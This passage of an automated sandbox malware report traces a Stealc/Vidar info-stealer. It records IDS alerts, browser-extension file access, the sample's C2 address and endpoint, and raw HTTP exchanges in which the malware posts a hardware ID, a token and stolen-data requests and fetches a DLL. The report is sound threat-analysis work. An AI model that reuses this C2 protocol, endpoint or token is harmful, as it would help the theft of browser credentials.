Source: 0.2.file.exe.b60000.0.unpack String decryptor: file
Source: 0.2.file.exe.b60000.0.unpack String decryptor: message
Source: 0.2.file.exe.b60000.0.unpack String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.b60000.0.unpack String decryptor: screenshot.jpg
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C85B040 BCryptGenRandom,SystemFunction036, 0_2_6C85B040
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:59330 version: TLS 1.0
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.85.23.206:443 -> 192.168.2.5:59250 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:59260 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:59268 version: TLS 1.2
Source: unknown HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:59273 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:59279 version: TLS 1.2
Source: unknown HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:59286 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.159.71:443 -> 192.168.2.5:59362 version: TLS 1.2
Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2638232531.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061177373.00000000055BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620837940.0000000000B8C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2638232531.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061177373.00000000055BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620837940.0000000000B8C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C89717D FindFirstFileExW, 0_2_6C89717D
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: chrome.exe Memory has grown: Private usage: 11MB later: 40MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/6c4adf523b719729.php
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.5:59247 -> 162.159.36.2:53
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 11:13:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 43 42 38 42 33 34 45 45 39 30 39 32 36 35 33 37 36 34 32 32 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="hwid"5CB8B34EE9092653764225------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="build"tale------HIDHIEGIIIECAKEBFBAA--
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 63 65 61 65 31 33 36 63 32 33 35 63 66 65 64 62 66 61 37 34 35 62 33 38 30 33 30 33 36 36 63 64 31 39 34 64 35 34 37 66 64 63 33 35 64 34 35 39 66 34 64 38 39 30 35 66 62 33 35 38 33 62 66 34 36 64 39 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"bfeceae136c235cfedbfa745b38030366cd194d547fdc35d459f4d8905fb3583bf46d9ad------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"browsers------HIIIIEGHDGDBFIDGHDAF--
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 63 65 61 65 31 33 36 63 32 33 35 63 66 65 64 62 66 61 37 34 35 62 33 38 30 33 30 33 36 36 63 64 31 39 34 64 35 34 37 66 64 63 33 35 64 34 35 39 66 34 64 38 39 30 35 66 62 33 35 38 33 62 66 34 36 64 39 61 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"bfeceae136c235cfedbfa745b38030366cd194d547fdc35d459f4d8905fb3583bf46d9ad------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="message"plugins------KFBGDBFBKKJECBFHDGIE--
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 63 65 61 65 31 33 36 63 32 33 35 63 66 65 64 62 66 61 37 34 35 62 33 38 30 33 30 33 36 36 63 64 31 39 34 64 35 34 37 66 64 63 33 35 64 34 35 39 66 34 64 38 39 30 35 66 62 33 35 38 33 62 66 34 36 64 39 61 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"bfeceae136c235cfedbfa745b38030366cd194d547fdc35d459f4d8905fb3583bf46d9ad------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="message"fplugins------IIIJECAEGDHIDHJKKKKF--
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.215.113.206Content-Length: 6935Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAKHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 65 63 65 61 65 31 33 36 63 32 33 35 63 66 65 64 62 66 61 37 34 35 62 33 38 30 33 30 33 36 36 63 64 31 39 34 64 35 34 37 66 64 63 33 35 64 34 35 39 66 34 64 38 39 30 35 66 62 33 35 38 33 62 66 34 36 64 39 61 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 2d 2d 0d 0a Data Ascii: ------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="token"bfeceae136c235cfedbfa745b38030366cd194d547fdc35d459f4d8905fb3583bf46d9ad------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="file"------IJDHCBGHJEGHJJKFHIIE--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View IP Address: 185.215.113.206 185.215.113.206
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49718
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.5:59273
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.5:59286
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:59330 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6C87C7B0 recv,WSAGetLastError, 0_2_6C87C7B0
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9OGZE1FGg5rwgfb&MD=ZtmRhZxv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
